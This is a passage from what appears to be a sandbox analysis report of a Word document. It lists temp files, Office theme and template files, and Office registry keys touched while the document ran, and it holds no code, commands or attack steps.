  1296. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2DA4.tmp",
  1297. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2DA5.tmp",
  1298. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2A42.tmp",
  1299. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2E23.tmp",
  1300. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2CD8.tmp\\Droplet.thmx",
  1301. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2B8D.tmp",
  1302. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2E23.tmp\\Savon.thmx",
  1303. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2C3B.tmp",
  1304. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2FFA.tmp",
  1305. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2FFB.tmp",
  1306. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab302B.tmp",
  1307. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar302C.tmp",
  1308. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD305C.tmp",
  1309. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD305C.tmp\\Feathered.thmx",
  1310. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2F7C.tmp",
  1311. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab33D7.tmp",
  1312. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar33E8.tmp",
  1313. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3418.tmp",
  1314. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3418.tmp\\ThemePictureGrid.glox",
  1315. "C:\\Users\\user\\AppData\\Local\\Temp\\cab166E.tmp",
  1316. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3486.tmp",
  1317. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3487.tmp",
  1318. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD34B7.tmp",
  1319. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD34B7.tmp\\Equations.dotx",
  1320. "C:\\Users\\user\\AppData\\Local\\Temp\\cab174E.tmp",
  1321. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3535.tmp",
  1322. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3535.tmp\\VaryingWidthList.glox",
  1323. "C:\\Users\\user\\AppData\\Local\\Temp\\cab174F.tmp",
  1324. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD35B3.tmp",
  1325. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD35B3.tmp\\chicago.xsl",
  1326. "C:\\Users\\user\\AppData\\Local\\Temp\\cab16ED.tmp",
  1327. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3806.tmp",
  1328. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3807.tmp",
  1329. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3837.tmp",
  1330. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3837.tmp\\iso690.xsl",
  1331. "C:\\Users\\user\\AppData\\Local\\Temp\\cab171D.tmp",
  1332. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab39D0.tmp",
  1333. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar39D1.tmp",
  1334. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3A20.tmp",
  1335. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3A50.tmp",
  1336. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3A20.tmp\\Vapor_Trail.thmx",
  1337. "C:\\Users\\user\\AppData\\Local\\Temp\\cab38C4.tmp",
  1338. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3A50.tmp\\Insight design set.dotx",
  1339. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3942.tmp",
  1340. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3BB9.tmp",
  1341. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3BBA.tmp",
  1342. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C19.tmp",
  1343. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C19.tmp\\Damask.thmx",
  1344. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3A80.tmp",
  1345. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3D54.tmp",
  1346. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3D55.tmp",
  1347. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3D85.tmp",
  1348. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3D85.tmp\\Slate.thmx",
  1349. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3CC6.tmp",
  1350. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF1DD2AFC98378AD5B.TMP",
  1351. "C:\\Users\\user\\AppData\\Local\\Temp\\~$awedammyy_987bd2361c0ed6e05400b027c113be44.doc",
  1352. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{C5359041-0EF9-47CF-B51F-736E99C0B35D}.tmp",
  1353. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1354. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{7E75D94E-67CA-466F-93A8-2286BE8605CE}.tmp",
  1355. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{1E20F026-B413-4C45-80C4-6FA27DE011F5}.tmp",
  1356. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab4CF8.tmp",
  1357. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar4CF9.tmp",
  1358. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D38.tmp",
  1359. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D38.tmp\\Main_Event.thmx",
  1360. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4C2C.tmp",
  1361. "C:\\Users\\user\\AppData\\Local\\Temp\\CVRDC2A.tmp.cvr",
  1362. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{BB6D113E-B691-462F-8497-98F43FE6E7D3}.tmp"
  1363. ]
  1364.  
  1365. [*] Modified Registry Keys: [
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\\"ro",
  1367. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  1368. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\E48DDF",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\E48DDF\\E48DDF",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
